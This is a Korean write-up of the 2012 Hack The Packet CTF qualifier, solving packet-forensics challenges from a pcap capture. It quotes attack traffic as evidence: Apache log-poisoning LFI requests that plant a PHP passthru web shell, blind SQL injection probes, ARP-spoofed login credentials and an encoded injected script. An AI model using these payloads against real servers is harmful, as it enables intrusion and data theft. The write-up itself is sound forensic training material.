# 2012 RExVuz@SecurityFirst 2012 Hack The Packet Online PreQUAL Write-up 2012 HTP 온라인예선문제풀이 Abstract 2012년 10월 26일 ( 금 ) PM 19:00 ~ 10월 27일 ( 토 ) AM 01:00까지 6시간동안 HTP@POC2012 by Rainbow에서진행한 Hack The Packet Online PreQUAL ( 예선 ) [Low] 난이도의 L01, L02, L1~L5 문제, [Middle] 난이도의 M1~M5 문제와 [High] 난이도의 H1~H5 문제에대한 Write-up 입니다. 하행운 [RExVuz] rexvuz@gmail.com 2012-11-01
목차 1. [Low] 난이도... 3 1-1) L01... 3 1-2) L02... 4 2-1) L1... 5 2-2) L2... 7 2-3) L3... 8 2-4) L4... 12 2-5) L5... 13 2. [Middle] 난이도... 14 1) M1... 14 2) M2... 15 3) M3... 16 4) M4... 17 5) M5... 19 3. [High] 난이도... 20 1) H1... 20 2) H2... 22 3) H3... 24 4) H4 ( 공개된풀이 )... 26 5) H5... 27 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 2
1. [Low] 난이도 1-1) L01 <Q> 2012_htp_prequal.pcap 파일은어떤환경 (System Information) 에서캡쳐한것일까? <EQ> Which System be used when this 2012_htp_prequal.pcap file captured? BinText 를이용하여 pcap 파일내의문자열들을보니시스템환경 (System Information) 에관련된정보가나와있었 다. 00000000001C 00000000001C 0 64-bit Windows 7 Service Pack 1, build 7601 0000000000D8 0000000000D8 0 64-bit Windows 7 Service Pack 1, build 7601 64-bit Windows 7 Service Pack 1, build 7601 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 3
1-2) L02 <Q> 2012_htp_prequal.pcap 파일은어떤도구로캡쳐한것일까? ( 대문자로입력 ) <EQ> What tools be used in capturing this 2012_htp_prequal.pcap file? (Upper case) L01 번문제와마찬가지로 BinText 를이용하여 pcap 파일내의문자열들을보니 Dumpcap 1.8.1 이라는도구 (tool) 로추측되는문자열이있었다. 문제지문에 ( 대문자로입력 ) 을보고 DUMPCAP 1.8.1 으로인증을시도했지만 되지않았다. 여러방법으로인증을시도해보다계속된실패에 HackThePacket 님 (?) 께 Facebook 메시지로위와같이질문해보고 DUMPCAP 으로인증을시도해보았지만되지않았다. 혹시나이도구가아닌가하는생각에 Google에 dumpcap 을검색한결과 dumpcap - The Wireshark Network Analyzer 1.8.0 이라는단서를찾았다. 그순간아차 (!) 하고뒤늦게 Wireshark라는것을깨닫고인증하였다. WIRESHARK Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 4
2-1) L1 <Q> ARP_Spoofing에의해서나의아이디와패스워드가유출됬다! <EQ> ID and Password of mine were leaked by ARP Spoofing! ** key is AttackerMacaddress_VictimPassword pcap 문제파일을 Wireshark 로열어보면 ARP(Address Resolution Protocol) packet 이초반부터보인다. [ Sender MAC address: Vmware_f3:21:ad (00:0c:29:f3:21:ad) ] packet 을살펴보면인증키형식의일부에해당하는 AttackerMacaddress 가보인다. 공격자의 MAC address 는 00:0c:29:f3:21:ad 이다. Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 5
다음으로유출된아이디와패스워드를찾아보겠다. tcp.stream eq 8 Filter 를이용해서 [Follow TCP Stream] 으로 stream 을보면아래와같다. POST login.php?login_attempt=1 HTTP1.1 Accept: imagegif, imagex-xbitmap, imagejpeg, imagepjpeg, applicationx-shockwave-flash, ** Referer: http:www.facebook.com Accept-Language: ko Content-Type: applicationx-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.facebook.com Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache Cookie: datr=v6estntuznxki-cfhj4rxqaa; reg_fb_gate=http%3a%2f%2fwww.facebook.com%2f; reg_fb_ref=http%3a%2f%2fwww.facebook.com%2f; wd=691x357 charset_test=%e2%82%ac%2c%c2%b4%2c%e2%82%ac%2c%c2%b4%2c%e6%b0%b4%2c%d0%94%2c%d0%84 &lsd=ppm9h&locale=ko_kr&email=hi_gal@gmail.com&pass=yong_gal&default_persistent=0&charset_test= %E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=PPm9h http:www.facebook.comlogin.php?login_attempt=1 페이지에 POST 방식으로요청하는 packet 이다. Facebook 에 email=hi_gal@gmail.com&pass=yong_gal 으로로그인을시도한데이터들이 ARP Spoofing 공격에의해서유 출된것이다. 00:0c:29:f3:21:ad_YONG_GAL Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 6
2-2) L2 <Q> 남자들이뼛속까지좋아하는여자는누구? DNA 연구결과가발표되었다. 바코드를찾아라! <EQ> Who s the girl loved of man s bones? It s released the result of DNA. Find the Barcode! [File] [Export Objects] [HTTP] 를이용해서파일내의 object 들을모두추출한다. 그중 HTML 페이지가추출되 었는데, 추출된 HTML 페이지를열어보았다. 페이지에 2D 바코드가있었다. 해당바코드를 http:zxing.orgwdecode.jspx 에서 Decoding 한다. Key:IU Good 역시 IU 는짱이죠! IU Good Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 7
2-3) L3 <Q> 화창한봄날 G 마켓에코드가삽입됐다. <EQ> Spring, A code injected in G-market. 문제지문을보면 Spring ( 봄날 ) 이핵심인데추출된 object 중 GMainSpring.js 이라는파일명이가장단서가될 만한것같았다. 해당파일의내용을살펴보면맨위에있는 getflashplayerhtml 이라는함수가가장수상하였다. function getflashplayerhtml(strsrc, strmovie, strwidth, strheight, idname ){ var shtml; shtml = ""; shtml = shtml + " <OBJECT id='" + idname + "' name='" + idname + "' codebase='http:download.macromedia.compubshockwavecabsflashswflash.cab' "; shtml = shtml + " width='"+strwidth+"' height='"+strheight+"' classid='clsid:d27cdb6e-ae6d-11cf- 96B8-444553540000'> "; shtml = shtml + " <PARAM NAME='FlashVars' VALUE=''> "; shtml = shtml + " <PARAM NAME='Movie' VALUE='"+strMovie+"'> "; shtml = shtml + " <PARAM NAME='WMode' VALUE='transparent'> "; shtml = shtml + " <PARAM NAME='Quality' VALUE='High'> "; shtml = shtml + " <PARAM NAME='Menu' VALUE='-1'> "; shtml = shtml + " <PARAM NAME='Base' VALUE=''> "; shtml = shtml + " <PARAM NAME='AllowScriptAccess' VALUE='always'> "; shtml = shtml + " <PARAM NAME='Scale' VALUE='ShowAll'> "; shtml = shtml + " <PARAM NAME='DeviceFont' VALUE='0'> "; shtml = shtml + " <PARAM NAME='EmbedMovie' VALUE='0'> "; shtml = shtml + " <PARAM NAME='SeamlessTabbing' VALUE='1'> "; shtml = shtml + " <PARAM NAME+'base64 hash : #@~^dq4aaa==md~ky9{ddbuo,'~[[%fila%li[[f!zi'aw%p[:,0ila{fp'arvi'[%ci'[%qil:rcila8!%p[[{cp[:%2i':ffil:%yi[[qq*p[[%{i':+%i[[{cp[: {8i[:qZFI[[0+i'[F8 ilar{ila{,p[:0wi[[ vp[a8t*ilar I[:*Oi'aOTiLaqTOi[:0Fi'a8TOi'[*2i[[%FI[[G{iLa{qp[aR+iLa%OI'aR&p[:FT1p[:F81iLa qp[a0fp[:%lilaqz!p[aw%p'ao%i[[gqil a%+i[[%cp':%8ila0ci'[ft%p'afci'[%&i'[gqil:r ILa8F*p[[0Gp[:vRi':FciL:G8i[[qTFp[[% i':8f+il:%fi':f,i':rci[[ +i'[fzcilar+ila*,p[:1zi[[q!oi[[0{ila8!1i':l&i[[0gp[:{fi[:{8i'ar+ p[:r,p[ar&p'a8!1ilaqqoi[[ Fp[aRfI[[%li'aqTZi'aW0iLa10p[a{qp[:%+ILa0WiLa%8iL:%Wi'a8!0ILaGWI[[%&p':G8iLa0 I'[Fq*p'aRGI'[v%I'[G*iL:FFILa8!Fp[[0vp[:F8 I'[%Gp'aF,iL:0cp[[v i':8!*il:%yi':w,i':o!i[[qz,ilargila8t,p[:*2i':rgil:gfi[[{qilar I[:0Oi'aRfiLaqTOi[:q8,I[[ 8i'[%2i[[%lI[[FT!p[:*Ri[[1%p[aFqI[[%+i'a0*p[:%8I[[%*ILaFT0p[:GWILa02iLaG8iL:%yi'a8FXILa%FI[ [v%p':gwila{fi'[ftfp'arvi'[ff+ila0gp'[g1p[[%cp[[ vp[:fzci'[% p'aw,il:1!p[[ft,i'[%{il:fz,i'[*&i'[%{il:fgilaffilar+ila0,p[:02i[[q!oi[[qq,p[[vqi':r&i[[0*p[:qz!i':w%i[[1ri'[g8i[[%+i[[%*ila 0qp[aR*iLaFZ0I[[GWi'a0fp[:G8I[[%+ILaFqXp[:%FILa RiLaGWiL:G8i'a8!qILa%+I[[FFyI'aRGp[:G1ILa0cp'a+vI'[F!*ILa0 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 8
p'[c1p[[,!p[[q!oi'argi'[f!oi[[*&p':%fila{gi'[gqil:%yi':r,i':r&i[[qz,ila8f,p[[ Fp[:%2i':R*iL:FZ!iL:*%p[[,0i':FFI[[0vp[:0Wi[:08i 'ar*p[:8!ri[[gwi[[%fila{qp[ar+ilaf8xi[[%fi'a 0p[:GWI[[GqILaFTqp[:%+ILaq8 p[argp'af,i[[%*ilav+i[[f!wi'ar p[:c1ila1!p'a8!1ila%{ilaq!oilax2ila%fil:gfi'affi'[% p'ar,il:0&p[[ft,i'[fq,p'a+fi'[%&i'[%xil:8!tp[[c%p[[1%p[:g8i':rvil:%wi[[0qilarci[:qz%i[[{cp[:02i[:{8i'ar+p[:8fli[[%fi[[v0i La{*p[aFqiLaFZqI[[%+i'aqqyi'aR{iLa{1p[a0*p[:v+ILaqZcp[aR p'aw,i[[,tilafz1ila%fi'a8!oi'axfp[:%fi[[g{ilagqila0 p'[%1p[[%&p[[q!oi'a8f1ilav8i[[%&p':%lilaq!tila*%p'ao%i'[gfi'[% il:rcilarfilar*ilaq!ri':fcil:%2i[[{qilar I[:q8*I[[0Gp[: Ri[:{Wi'aFqp[:8!8i[[%+I[[Fq p[:0fi[[{,p[ar*i[[v+i'aqtwi'ar+ila*1p[a1tp[:fz1p[:rgp[a8!oi[[*fila0{p[af{ilag8i'ar p[:%1ila0&p'a8!1ilafq1p[:v8ila02ila%lil:fz!i[[c0ila,ri[[gfp':%+ila0ci'[%qil:%wi':8!%i'[g*il:r&ilaffilar+ilaqfli':rgi L:vRi[[{*iLaFFI[:qZFI[[0vp[:q8 i':rgi[[{oi'[%wi[[v+i[[ftcp[:0yi[[*,p[aoti[[fz,i[:0fi'a8t,p[:x2i[:0fi'af{p[:ffp[ar p'ar,i[[%filafz1ilaf81i[[v8i'a0fp[:%li[[fttp[a*0p[:,rila{8ila%+il:%wi'arfi'[%cp'a8!%p':gwila0&i'[gqil:%yi':8f*i'[%{il :+%ILaFciLaFqiLaq!8i':RviL:F8 il:0gp[[g1i':rci[[ vp[:qzci':r I[[*Oi'[,Zi[[FZ1iLa0Gp[:qZ,iL:*2i[[0{iLaFGI[:{8i'aR+iLa01p[a0fp[:FZ1p[:8FOi[[v8I[[%fiLa0Xp[a8T!p[aW0I[[,Ri'a{qp[:%+I[[%*I La%qILa0cp'[FTRiLaGWiL:%2i'aFFI'[% p'a8f*p':%fila %I'[G*iL:G8i':8!FI'[% il:8f+p[[%gp[[{,p[:%wi':+vil:fzcil:0 p[[c1i':o!i[[q!oi':rgi':8!1il:l&ilargilaf{ila{fp[:0yi[[0,p[arfi[[fz,i[:q8,i[[ Fp[:02i[:0li'a8TZi'[cRi[[,RI[[GqiLa0 p[ar*ila%8i'a Rcp[:FT0p[:GWI[[%fILaGqILa0 p'[fqlila%fil:vri'afci'[gfp'a8!fp':%+ilaqf+ila0gp'af,i'[%ci'[v il:8!*p[[% p[[*,p[:,zi':8!,p'argil:q!oilax&i'[%{il:gfi':ffi':r I[[0Oi'[%2i[[FZ1iLaqFOi':+FiL:%2i[[0XiLa8!Ti':W%I[[1%p[:{8i[:0+i'aR*p[:RFp[aRcp'a8!0iLa{*p[aRfiLaG8I'aR p[:fqxp[:%fi[[v0ilag*ila{fp'[ft8ila%+il:f8 I[[%{ILaGOI[[%cp':v+iLaq!*ILa0 p'aw,i'[,!i'[ft,p'[%{p[[f!oil:*2i'argi'[ggp'affil:0 p[[%1i':r&i[[q!oi':8f,i'[vqil:r&ilar*ila8t!p[:cri':o%il:g8i[[0 ilarci[:08i'ar*ilaqtri[:{wi'arfp[:ffp[ar p'a8fxila0{p[a+0ilagwi'affp[:ftqp[:%+i[[fq+p[a0{p[:goila0wilav+il:fzci[[%+ilacoi[[,!p':fz,p[:%{ilaq!oi[[*fila%{il a{gp'[gqp[[% p[[0,p[:%2i':8!,p'a8f,p':v8ila0&i'[%xil:fz!i'[c%i'[,0il:ffilarvilar*ila0fp[:0wi[[q!ri[[{*ilar&i[:{8i'ar+ilaqqli[:0fi'a+0p[:f cp[affp'a8!qila0 p[a8q p[ar{i[[goi'a0*p[:v+i[[ft*p[a0+p[:coila1zilafz,p'argi[[ft1p[alfila%fi'afgp[:gqila0 p'ar,i'[%&i'[ft,p'[fqoilav8il:%2i'ar*i'[f!zi[[c%p':,rila{fi'[% il:%wi':rfi':rci[[qz%ilafcilarfila{fp[:0yi[[qfli[[0{ila+%i[: {Wi'aFqiLaqT8i[:0+i'a8qyi'[%Fi[[GOI[[%*iLa p[a8tcp[ar+i[[coi'a1tp[:fz1ila0{p[aqtoi'alfp[:rgp[afgp'affi[[%+ila%oi [[%&p':fz,p[:fq1p[:v8i@#@&rrqcaa==^#~@'>" ; shtml = shtml + " <embed src= '"+strsrc+"' quality=high wmode='transparent' "; shtml = shtml + " pluginspage='http:www.macromedia.comshockwavedownloadindex.cgi?p1_prod_version=shockwaveflash' "; shtml = shtml + " type='applicationx-shockwave-flash' width='"+strwidth+"' height='"+strheight+"' allowscriptaccess='always'> "; shtml = shtml + " <embed> "; shtml = shtml + " <OBJECT>"; } return shtml; 함수내의내용을보면 <PARAM NAME+'base64 hash : ~~~ > 부분에 Encoding 되어있는값이가장수상했다. 그런데해당문자열이어떤방식으로 Encoding 되어있는지몰라서풀지못하고힌트가나오기를기다렸다. Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 9
마침내힌트가나왔는데핵심은 VB Script 였다. http:www.greymagic.comsecuritytoolsdecoder 사이트에 getflashplayerhtml 함수를넣어주고 [Decode Content] 하니아래와같이 Decoding 되었다. <PARAM NAME+'base64 hash : var std_string = SUd0bGVTQTlJSGRsW&# 68;JGeVpWOTBhR1ZmWm&# 53;WMGRYSmw=SUd0bGVT& #81;TlJSGRsWDJGeVpWOT&# 66;hR1ZmWm5WMGRYSmw=&# 83;Ud0bGVTQTlJSGRsWDJ ;GeVpWOTBhR1ZmWm5WM ;GRYSmw=SUd0bGVTQTl JSGRsWDJGeVpWOTBhR 1ZmWm5WMGRYSmw=SUd 0bGVTQTlJSGRsWDJGe& #86;pWOTBhR1ZmWm5WMGR&# 89;Smw=SUd0bGVTQTlJS 1;RsWDJGeVpWOTBhR1Z
 9;Wm5WMGRYSmw=SUd0bG ;VTQTlJSGRsWDJGeVpW OTBhR1ZmWm5WMGRYSm w=sud0bgvtqtljsgrs WDJGeVpWOTBhR1ZmWm 5WMGRYSmw=SUd0bGVT& #81;TlJSGRsWDJGeVpWOT&# 66;hR1ZmWm5WMGRYSmw=&# 83;Ud0bGVTQTlJSGRsWDJ ;GeVpWOTBhR1ZmWm5WM ;GRYSmw=SUd0bGVTQTl JSGRsWDJGeVpWOTBhR 1ZmWm5WMGRYSmw=SUd 0bGVTQTlJSGRsWDJGe& #86;pWOTBhR1ZmWm5WMGR&# 89;Smw=SUd0bGVTQTlJS 1;RsWDJGeVpWOTBhR1Z
 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 10
9;Wm5WMGRYSmw=SUd0bG ;VTQTlJSGRsWDJGeVpW OTBhR1ZmWm5WMGRYSm w=sud0bgvtqtljsgrs WDJGeVpWOTBhR1ZmWm 5WMGRYSmw=SUd0bGVT& #81;TlJSGRsWDJGeVpWOT&# 66;hR1ZmWm5WMGRYSmw= '> 위문자열은 HTML Entities 로이루어진값들인데, 중복되는부분이있었다. 데이터의초반에굵게표시한부분이 계속해서반복되는부분이었다. 굵게표시한값만따로뽑은후에, Python 을이용해서해당숫자값을문자로출력해보니 Base 64 Encoding 된 문자열이나왔다. IGtleSA9IHdlX2FyZV90aGVfZnV0dXJl Decoding 결과또다시위와같이 Base 64 Encoding 된문자열이나왔는데한번더 Decoding 하니 key = we_are_the_future we_are_the_future Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 11
2-4) L4 <Q> 우탱아, 가을인데단풍놀이가야지 ~ 어디로갈까? <EQ> Wootang, Let s go to see the maple leaves~ it s Autumn! where is it? 추출된 object 중에 Where_is_it.jpg 파일이위의이미지였는데, Google 이미지검색을이용해서검색해보았다. 위처럼 Hallasan 이라는결과가나왔다. 그런데이미지파일에대해서좀더상세히분석하기위해서 PhotoME 를 이용해서파일의 Exif 정보를보았다. JPG 파일의코멘트에진짜인증키가나와있었다. K@e*y_:_hallasan hallasan Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 12
2-5) L5 <Q> 악성다운로더 <EQ> Malware Downloader 다운로더이기때문에실행파일로추측하였고, 추출된 object 중에서 noexe.exe 라는수상한파일을포착하였다. 00000000413C 00000041573C 0 An$w3r is HTP_Forever@ 00000000413C 00000041573C 0 An$w3r is HTP_Forever@ BinText 를이용하여인증키로보이는문자열을뽑았지만완전한인증키가아니었다. tcp.stream eq 55 Filter 에있는 stream 을 [Follow TCP Stream] 으로보니 exe 파일이다. 신들린 eye-grep 으로완 전한인증키가있는부분을찾아내었다. An$w3r is HTP_Forever@^^@~~ HTP_Forever@^^@~~ Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 13
2. [Middle] 난이도 1) M1 <Q> 나는누구인가? 네오는오라클에게 FTP로 Zip 파일을받게되는데... <EQ> Who am I? Neo got a zip file from oracle via FTP... 문제지문을보고 Zip 파일을추출하면된다는것을파악하였다. HxD(Hex Editor) 로 pcap 문제파일을열고, Zip 파일 signature 중 header에해당하는 50 4B 03 04 를검색해보았다. 위의압축파일에 who_am_i.txt 라는파일이포함되어있는것을볼수있었다. 드래그한부분만따로잘라내어 Zip 파일로저장후압축을풀어보니 txt 텍스트파일이나왔다. txt 파일을열어보니 hex 값으로추측되는데이터가있었는데이를 HxD 에붙여넣고 Base 64 Encoding 된데이터 (SV9BTV9UcmFpbmVlX0Fobg==) 를 Decoding 하였다. I_AM_Trainee_Ahn Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 14
2) M2 <Q> DB이름을찾아라! <EQ> Find the name of DataBase HTTP objects 를살펴보던중 Blind SQL Injection 공격을시도했던흔적이보였다. helloindex.php?no=1 [ tcp.stream eq 91 ] <font size=20> WELCOME <font><font size=25><b> gal <b><font> helloindex.php?no=2 <font size=20> WELCOME <font><font size=25><b> POC <b><font> helloindex.php?no=3 <font size=20> WELCOME <font><font size=25><b> IU <b><font> 위의결과에서 index.php?no=3 일때 WELCOME IU 라는문자가출력되었다. [ tcp.stream eq 92 ~ tcp.stream eq 108 ] 위 stream 들을모두보면 substring 함수를이용해 Blind SQLi 공격을하여한문자씩읽어오는데성공하면 IU 라는문자열을보여준결과가차례대로 e a s y w e b s i t e a t t a c k 이므로이값이바로 DB 이름이된다. easywebsiteattack Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 15
3) M3 <Q> 라우터에백도어가삽입되어있다. 마지막으로실행된명령어는? <EQ> Backdoor injected in Router. what's the last command? tcp.stream eq 17 Filter 를이용하여 stream 을보았다. ( 뒤늦게인증한문제대부분은 tcp.stream eq 1 ~ 150 까지의모든 stream 을보고품 ) ( 중략 ) Cisco 라우터에관련된문제의인증키가나왔다. hostname An$w3r_is^tclsh Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 16
4) M4 <Q> 누군가가나의 Secret폴더의내용을읽었다! <EQ> Someone read a Secret folder of mine! ** Key is secret.txt_hiden.txt_pass.txt in Secret Folder ** hiden is not wrong. it s just typo Apache Log Injection 공격에관련된문제이다. C:\APM_Setup\htdocs\Secret... 2011-10-07... 06:05 <DIR>. 2011-10-07... 06:05 <DIR>.. 2011-10-07... 06:32 9 hiden.txt 2011-10-07... 06:32 6 key.txt 2011-10-05... 06:16 4,890 Pass.jpg 2011-10-07... 06:33 9 pass.txt 2011-10-07... 06:32 6 secret.txt tcp.stream eq 83 Filter 의 stream 을보면위와같이 Secret 폴더에 5 개의파일이존재하였다. 그중인증키에 필요한파일에대한정보는다음과같다. [ secret.txt : 6bytes hiden.txt : 9bytes pass.txt : 9bytes ] tcp.stream eq 85 index.php?cmd=cd%20secret%26type%20secret.txt&page=..serverapachelogsaccess.log%00<?passthru($_g ET['cmd']);?> index.php?cmd=dir&page=..serverapachelogsaccess.log%00noopen [ secret.txt NOOPEN 6bytes ] tcp.stream eq 87 index.php?cmd=cd%20secret%26type%20key.txt&page=..serverapachelogsaccess.log%00<?passthru($_get[ 'cmd']);?> index.php?cmd=dir&page=..serverapachelogsaccess.log%00iloveu [ key.txt ILOVEU 6bytes ] Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 17
tcp.stream eq 88 index.php?cmd=cd%20secret%26type%20hiden.txt&page=..serverapachelogsaccess.log%00<?passthru($_g ET['cmd']);?> index.php?cmd=dir&page=..serverapachelogsaccess.log%00apachelog [ hiden.txt APACHELOG 9bytes ] tcp.stream eq 89 index.php?cmd=cd%20secret%26type%20pass.txt&page=..serverapachelogsaccess.log%00<?passthru($_ge T['cmd']);?> index.php?cmd=dir&page=..serverapachelogsaccess.log%00injection [ pass.txt INJECTION 9bytes ] 인증키에포함되는 secret.txt hiden.txt pass.txt 파일의내용을모아보면 NOOPEN APACHELOG INJECTION 이된다. NOOPEN_APACHELOG_INJECTION Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 18
5) M5 <Q> 메일사용자계정과패스워드가 IRC 봇에감염되어유출됐다. <EQ> mail account and password leak by infected IRC bot. Key is password ( 중략 ) tcp.stream eq 20 Filter 를보면 shadowbot 을이용하여감염된것을확인할수있다. good_bye_jobs Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 19
3. [High] 난이도 1) H1 <Q> 이메일을통해 jitae 의첫번째데이트기밀정보를입수하는데... 하지만내용없이파일만첨부되어있었다. 데이트장소는언제몇시에어디인가? <EQ> SOMEONE GOT A SECRET INFORMATION OF jitae s FIRST DATE VIA E-MAIL. BUT THRER IS ONLY ONE ATTACHED FILE WITH NOTHING. WHEN AND WHERE? HTTP objects 를보면 DAUM 이메일에관련된 object 가있다. 1923 번 packet 의 object 는 HTML 페이지이고, 2096 번 packet 의 object 는 mp3 파일이다. ViewMail.daum 파일을열어보면내용없이 promise.mp3 파일만첨부되어있었다. 그리고추출한 object 중 mp3 파일을들어보니 개똥이네버블버블 (;;;) 이라는의도를파악할수없는소리만들렸다. GoldWave 를이용하여 Spectrum 을분석해보기도했는데수상한흔적을찾을수없었다. 그러던도중힌트가나왔다. 스테가노그래피 를보고 mp3 Steganography 임을파악하여, 예전부터잘알고있고 사용해봤던툴인 mp3stego 를이용하였다. [http:www.petitcolas.netfabiensteganographymp3stego] Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 20
Decode.exe 를이용하여 Decoding 하는데 Steganography Key 가필요했다. Key 는문제지문에있는 jitae 일것 이라고생각하여이를이용하여 Decoding 하였다. 결과파일로 promise.mp3.txt 파일이추출되고텍스트파일의내용에데이트장소와시간이나와있었다. sunday, 14:00, GangNam station Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 21
2) H2 <Q> 수학을공부하던꼬비는잠이들었는데, 공식이다른이상한글자들로바뀌어있는꿈을꾸게되었다. <EQ> GGOBI went to sleep in studying math and had a dream that the function replaced with strange words. TCP stream 을살펴보면 FTP(File Transfer Protocol) 를이용하여 Math.part1.jpg, Math.part2.jpg, Math.part3.jpg 파 일로통신하는것을확인할수있었다. 해당파일들은각각아래의 Filter 를이용하여파일을추출할수있었다. [ tcp.stream eq 13 (Math.part1.jpg) tcp.stream eq 14 (Math.part2.jpg) tcp.stream eq 15 (Math.part3.jpg) ] 3 개의파일이추출되었는데해당 JPG 파일 trailer 부분에는 Rar! 로시작하는 RAR 압축파일의 header 가보였다. 총 3 개의 RAR 압축파일을추출하였고, part1, part2, part3 을보아분할압축파일로추측하였다. 압축을풀면총 6 개의한글파일 (hwp) 이추출된다. 6 개의파일중 cp 가붙은것은복사본으로생각하고무시하고, 공통수학정리.hwp 파일이끌려서열어보았다. Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 22
PoWeR eye-grep(!) 으로 4 페이지의오른쪽다단에있는키값을찾았다. <3y = (47( - _Y0ur_Dr34m 하지만인증이안되길래 Facebook 메시지를통해물어보니 Y0ur_Dr34m 만최종인증키라고하였다. Y0ur_Dr34m Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 23
3) H3 <Q> 우태혁의여자친구이름은무엇이고, 어디에살고있는가? <EQ> What is the name of Woo Tae Hyuck s girl firend, and where she is? (Key Format :: Woo Tae Hyuck_Hanla Mountain) tcp.stream eq 40 Filter 를보니 NetMeeting 으로통신한것같은흔적이남아있었다. Kim Ha-Neul 이라는여자 친구이름과, Dokdo_island 라는지명을찾았다. Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 24
대회진행당시에문제를풀때는여자친구이름만찾고독도를찾지못했는데 BinText 를이용하여우연히 Dokdo_island 를쉽게찾아서인증했었다. Kim Ha Neul_Dokdo island Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 25
4) H4 ( 공개된풀이 ) <Q> 무슨동물좋아하니? <EQ> What kind of animal do you like? download_file_ft.py%3fsignature=7052409185991974527758779820233145348370588523976395987013438603317 697410636216064523291180329504793631926467978999&time=1320220728&username=wootang87&fileid=005 8478319&error_cb=http%3A%2.com HTTP objects 중에서위의파일명을가진파일을추출하고 signature 를보니 JPG 파일이었다. word.jpg 파일이었는데, 대회종료후 http:fb.comhackthepacket 을통해풀이방법을알게되었다. 사실무작 위로 MAMMALS, SCORPION, DOG, SNAKE, ANUBIS 등을시도하고 HTP 의토끼캐릭터가생각나서 RABBIT 도시 도해보았지만 BUNNY 일줄은 T_T BUNNY Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 26
5) H5 <Q> 네이트온사진함께보기를통해, 우탱이는어떤수학문제를알게됐을까? <EQ> What does Wootang get a mathematical problem via the function of sharing the picture on NateOn? 정답은수학문제를푼값입니다. The answer is the right value solving the math. tcp.stream eq 75 Filter 를보니위의 stream 처럼 NateOn Protocol 을이용하여 JPG 파일이송수신된것을확인 할수있다. 추출한이미지를보니약간깨져있었다. eye-forensics SKILL 을발휘하였다. [What is the perimeter of the rectangular field? 둘레의길이를구하시오.] 두뇌풀가동 (!) 으로열심히둘레를구해본결과 (5+8+7)+(5+8+7) = 40 40 Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 27
Copyright c 2012 RExVuz@SecurityFirst. All rights reserved. 28